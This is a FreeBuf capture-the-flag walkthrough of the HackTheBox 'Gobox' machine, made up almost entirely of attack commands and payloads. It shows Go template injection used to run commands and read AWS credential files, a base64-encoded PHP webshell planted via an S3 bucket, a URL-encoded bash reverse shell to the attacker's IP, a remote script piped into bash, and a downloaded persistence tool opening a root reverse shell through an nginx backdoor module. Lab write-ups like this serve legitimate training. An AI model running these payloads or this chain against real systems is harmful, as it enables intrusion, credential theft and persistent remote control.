freeBuf
主站

分类

云安全 AI安全 开发安全 终端安全 数据安全 Web安全 基础安全 企业安全 关基安全 移动安全 系统安全 其他安全

特色

热点 工具 漏洞 人物志 活动 安全招聘 攻防演练 政策法规

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

[Meachines] [Medium] Gobox Golang-SSTI+AWS-S3-buckets+Nginx-Backdoor.so权限提升+Tyrant持久化
2025-03-06 22:21:21
所属地 福建省

Information Gathering

IP AddressOpening Ports
10.10.11.113TCP:22,80,4566,8080

$ ip='10.10.11.113'; itf='tun0'; if nmap -Pn -sn "$ip" | grep -q "Host is up"; then echo -e "\e[32m[+] Target $ip is up, scanning ports...\e[0m"; ports=$(sudo masscan -p1-65535,U:1-65535 "$ip" --rate=1000 -e "$itf" | awk '/open/ {print $4}' | cut -d '/' -f1 | sort -n | tr '\n' ',' | sed 's/,$//'); if [ -n "$ports" ]; then echo -e "\e[34m[+] Open ports found on $ip: $ports\e[0m"; nmap -Pn -sV -sC -p "$ports" "$ip"; else echo -e "\e[31m[!] No open ports found on $ip.\e[0m"; fi; else echo -e "\e[31m[!] Target $ip is unreachable, network is down.\e[0m"; fi

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 d8f5efd2d3f98dadc6cf24859426ef7a (RSA)
|   256 463d6bcba819eb6ad06886948673e172 (ECDSA)
|_  256 7032d7e377c14acf472adee5087af87a (ED25519)
80/tcp   open  http    nginx
|_http-title: Hacking eSports | {{.Title}}
4566/tcp open  http    nginx
|_http-title: 403 Forbidden
8080/tcp open  http    nginx
|_http-title: Hacking eSports | Home page
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Golang SSTI

# echo '10.10.11.113 gobox.htb'>>/etc/hosts

http://gobox.htb/

image.png

http://gobox.htb:8080/

$ curl http://gobox.htb:8080 -v

image-1.png

POST /forgot/ HTTP/1.1
Host: gobox.htb:8080
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/112.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 13
Origin: http://gobox.htb:8080
Connection: close
Referer: http://gobox.htb:8080/forgot/
Upgrade-Insecure-Requests: 1

email={{ . }}

image-2.png

username:ippsec@hacking.esports
password:ippsSecretPassword

image-3.png

AWS S3 buckets

email={{ .DebugCmd "hostname" }}

image-4.png

email={{ .DebugCmd "ls ~ -la" }}

image-5.png

email={{ .DebugCmd "cat ~/.aws/*" }}

image-6.png

aws_access_key_id=SXBwc2VjIFdhcyBIZXJlIC0tIFVsdGltYXRlIEhhY2tpbmcgQ2hhbXBpb25zaGlwIC0gSGFja1RoZUJveCAtIEhhY2tpbmdFc3BvcnRz
aws_secret_access_key=SXBwc2VjIFdhcyBIZXJlIC0tIFVsdGltYXRlIEhhY2tpbmcgQ2hhbXBpb25zaGlwIC0gSGFja1RoZUJveCAtIEhhY2tpbmdFc3BvcnRz

1.列出 S3 存储桶

email={{ .DebugCmd "aws s3api list-buckets" }}

image-7.png

email={{ .DebugCmd "aws s3 ls s3://website" }}

image-8.png

email={{ .DebugCmd "echo -n PD9waHAgc3lzdGVtKCRfR0VUWydzaGVsbCddKTsgPz4K | base64 -d > /tmp/shell.php" }}

2.将webshell移到website存储桶

email={{ .DebugCmd "aws s3 cp /tmp/shell.php s3://website/shell.php" }}

image-9.png

$ curl 'http://gobox.htb/shell.php?shell=id'

image-10.png

$ curl 'http://gobox.htb/shell.php?shell=%62%61%73%68%20%2d%63%20%27%62%61%73%68%20%2d%69%20%3e%26%20%2f%64%65%76%2f%74%63%70%2f%31%30%2e%31%30%2e%31%36%2e%33%33%2f%31%30%30%33%32%20%30%3e%26%31%27'

image-11.png

User.txt

b3fe16c3ec3d2d2e65faac130f0f2498

Privilege Escalation:NginxExecute Backdoor (ngx_http_execute_module.so) && Tyrant

https://raw.githubusercontent.com/MartinxMax/KTOR/refs/heads/main/ktor.sh

www-data@gobox:~$ curl http://10.10.16.33/ktor.sh|bash -s -- -l -p all

image-12.png

image-13.png

image-14.png

www-data@gobox:~$ strings /usr/share/nginx/modules/ngx_http_execute_module.so| grep run

image-15.png

www-data@gobox:~$ curl -g "http://127.0.0.1:8000/?ippsec.run[id]"

image-16.png

https://github.com/MartinxMax/Tyrant

www-data@gobox:~$ curl http://10.10.16.33/base/tyrant -o /tmp/tyrant
www-data@gobox:~$ curl -g "http://127.0.0.1:8000/?ippsec.run[chmod +x /tmp/tyrant;/tmp/tyrant]"

image-17.png

www-data@gobox:~$ /tmp/tyrant -uid 0 -rhost 10.10.16.33 -rport 443

image-18.png

Root.txt

d6d6a6ab1e9439036b7901dd8ccd1d55

# web安全 # CTF
免责声明
1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。
3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。
本文为 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录